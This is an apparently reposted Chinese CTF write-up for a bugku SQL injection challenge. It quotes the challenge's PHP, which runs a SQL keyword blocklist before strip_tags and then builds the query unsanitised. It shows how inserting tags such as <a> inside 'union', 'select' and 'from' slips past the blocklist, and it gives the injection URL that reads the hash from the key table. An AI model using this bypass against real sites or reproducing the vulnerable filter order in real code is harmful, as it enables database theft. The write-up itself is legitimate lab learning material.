bugku ctf平台之sql注入1 write up

来源:互联网 发布:淘宝申请退换货流程 编辑:程序博客网 时间:2024/06/07 10:16


题目链接  : http://103.238.227.13:10087/


//过滤sql$array = array('table','union','and','or','load_file','create','delete','select','update','sleep','alter','drop','truncate','from','max','min','order','limit');foreach ($array as $value){if (substr_count($id, $value) > 0){exit('包含敏感关键字!'.$value);}}//xss过滤$id = strip_tags($id);$query = "SELECT * FROM temp WHERE id={$id} LIMIT 1";

上面 //过滤sql对sql注入进行了严格的过滤,完全没法注入,但百密必有一疏,下面的//xss过滤中的 strip_tags($id) 函数,使得注入有了思路。

首先看一下strip_tags这个函数:

strip_tags() 函数剥去字符串中的 HTML、XML 以及 PHP 的标签。

那么可以利用这点,在union等敏感字中间加上 <a><br>等标签。

题目提示:

访问参数为:?id=x

查找表为key的数据表,id=1值hash字段值

直接构造注入语句:http://103.238.227.13:10087/?id=-1 u<a>nion selec<a>t  1,hash fro<a>m .key


原创粉丝点击